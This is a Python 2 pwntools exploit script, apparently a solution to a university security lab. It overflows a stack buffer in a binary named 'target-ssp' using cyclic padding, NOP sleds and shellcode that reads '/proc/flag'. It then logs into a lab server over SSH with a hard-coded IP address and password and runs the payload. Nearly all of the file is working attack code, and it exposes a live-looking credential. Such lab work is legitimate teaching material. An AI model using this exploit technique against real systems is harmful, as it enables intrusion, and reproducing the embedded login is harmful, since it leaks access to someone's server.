#!/usr/bin/env python2

from pwn import *

def writeToFile(payload):
    # Write shellcode to a binary
    f = open('shellcode', 'w')
    f.write(payload)
    f.close()

def createPayload(padding, exeAddr, shellcode):
    nop_offset = 1000
    start_addr = exeAddr + (nop_offset/2)
    nop_sled = "\x90" * nop_offset

    # start constructing payload
    payload  = cyclic(cyclic_find(padding))
    payload += p32(start_addr)
    payload += nop_sled
    payload += asm(shellcode)
    payload += nop_sled

    # Address sled
    for i in range (0, 200):
        payload += p32(start_addr)

    return payload

exe = "./target-ssp"
mydir = "tut04-ssp"
sshPath = "/home/lab04/"
vagrantPath = "/home/vagrant/cs6265/lab04/"

context.terminal = ['tmux', 'splitw', '-v']
context.update(arch='i386', os='linux')

# Address to use
# Got this address by forcing a segfault, using the telescope command to
# examine the stack, then examining the stack with x/20wx
padding = 0x63616171
server_start_gdb = 0xffffc998
exeAddr = server_start_gdb

# NOP sled
shellcode = shellcraft.cat("/proc/flag")
payload = createPayload(padding, exeAddr, shellcode)
writeToFile(payload)

s = ssh("lab04", "52.201.10.159", password="72cb6693")
p = s.process([exe, payload], cwd=sshPath+mydir)

#p = process(["./target", payload], cwd=vagrantPath+mydir)

p.interactive()
